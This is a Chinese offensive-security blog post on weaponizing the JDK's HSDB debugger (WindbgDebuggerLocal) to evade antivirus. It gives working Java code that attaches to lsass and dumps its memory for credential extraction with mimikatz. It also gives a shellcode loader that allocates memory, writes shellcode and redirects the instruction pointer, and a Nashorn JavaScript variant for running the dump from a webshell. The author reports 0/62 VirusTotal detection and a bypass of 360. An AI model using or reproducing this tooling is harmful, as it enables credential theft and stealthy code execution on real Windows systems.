HSDB(Hotspot Debugger),是JDK自带的调试工具,可用于调试JVM 运行时数据。 最近在学习Beichen师傅《JVM核心对抗》PPT的时候,注意到提到了HSDB的一个玩法:利用其中的windbg调试接口进行dump lsass以及加载Shellcode操作,本文进行学习以及一些武器化利用扩展。
lsass是windows中处理本地安全和登录策略的重要进程,几乎所有的windows身份认证程序都离不开lsass进程。因此在lsass的内存中会保存用户相关的凭证。它是windows主机中凭证的重要组成部分,因此获取lsass内存也是MITRE ATT&CK框架中Credential Access战术下的重要技术点。
由于许多带签名的正常程序都需要用到内存dump功能,让用户能查看进程在内存中的信息,所以以往的对抗主要是通过一些常见的白进程签名程序,利用程序的正常功能来获取windows lsass中的内存。不过由于用得太多了,基本都已经被各大杀软所监控标记。今天的HSDB属于一个新的小众白名单利用。 核心原理是JVM在调试进程的时候,会调用windbg接口,并且支持输入自定义的windbg语句,从而实现dump lsass 具体代码
public static void dumper(int pid, String path) {
WindbgDebuggerLocal debuggerLocal = new WindbgDebuggerLocal(new MachineDescriptionAMD64(), false);
debuggerLocal.attach(pid);
System.out.println(debuggerLocal.consoleExecuteCommand(".dump /ma " + path));
debuggerLocal.detach();
}
打包个jar运行,发现已经成功dump了lsass然后用mimikatz dump出其中的凭证VT 0/62免杀360无告警
为了对比测试,继续跑一下已经公开过的白利用。360告警拦截,dump提示拒绝访问。
windbg是一款很强大的调试工具,我们还可以利用该接口进行ShellCode的加载。基本流程:
申请内存
写入Shellcode
修改当前运行指针到Shellcode位置
Beichen师傅的PPT里没有贴写入Shellcode的实现代码,这里其实有很多种方式,我这里采用eb命令实现。其实用Unsafe也可以,但是Unsafe特征比较明显。 核心代码
public static void Runshellcode(int pid, String shellcode) {
WindbgDebuggerLocal debuggerLocal = new WindbgDebuggerLocal(new MachineDescriptionAMD64(), false);
debuggerLocal.attach(pid);
System.out.println(shellcode.length());
String result = debuggerLocal.consoleExecuteCommand(".dvalloc 10000");
String addressToken = "starting at ";
System.out.println(result);
int index = result.indexOf(addressToken);
String address = result.substring(index + addressToken.length()).trim();
String s1 = debuggerLocal.consoleExecuteCommand("eb " + address + " " + hexFormat(shellcode));
System.out.println(s1);
String s2 = debuggerLocal.consoleExecuteCommand("r @$ip=" + address);
System.out.println(s2);
debuggerLocal.detach();
}
同样秒过3xx。
当然这里只是注入方式不被查杀,如果是cs或者msf还要改一下内存特征。
必须是JDK下的jre运行才可以,否则可能会产生以下报错解决办法:复制jdk下的dll到对应目录下https://blog.csdn.net/fl_zxf/article/details/42689569
不同版本的sa-jdi可能不一样,如果选择jar方式的话要打包跟目标JDK环境一致的依赖,这样有点麻烦。 除了打一个jar包以外,还可以单文件执行
java -cp ".;c:\\xxxxx\\sa-jdi.jar" Exp
想要在WebShell中利用需要满足两点:
加载sa-jdi.jar到ClassLoader
加载调用逻辑
对于第一点,sa-jdi.jar在JDK中默认存在,不需要额外上传,只需要用JarLoader功能加载一下就可以了 第二点,在As-Exploits 1.5中新增了JS引擎执行模块,这里我采用了JS引擎来实现功能的调用。(当然写个Class编译然后再defineClass加载也可以,稍微有点麻烦) 将payload改写为nashorn语法,跑一下看起来没问题
var windbg = Java.type("sun.jvm.hotspot.debugger.windbg.WindbgDebuggerLocal");
var desc = Java.type("sun.jvm.hotspot.debugger.MachineDescriptionAMD64");
var debuggerLocal = new windbg(new desc(), false);
debuggerLocal.attach(784);
java.lang.System.out.println(
debuggerLocal.consoleExecuteCommand(".dump /ma ./dsds")
);
debuggerLocal.detach();
具体操作:到目录界面看,dump文件已经生成了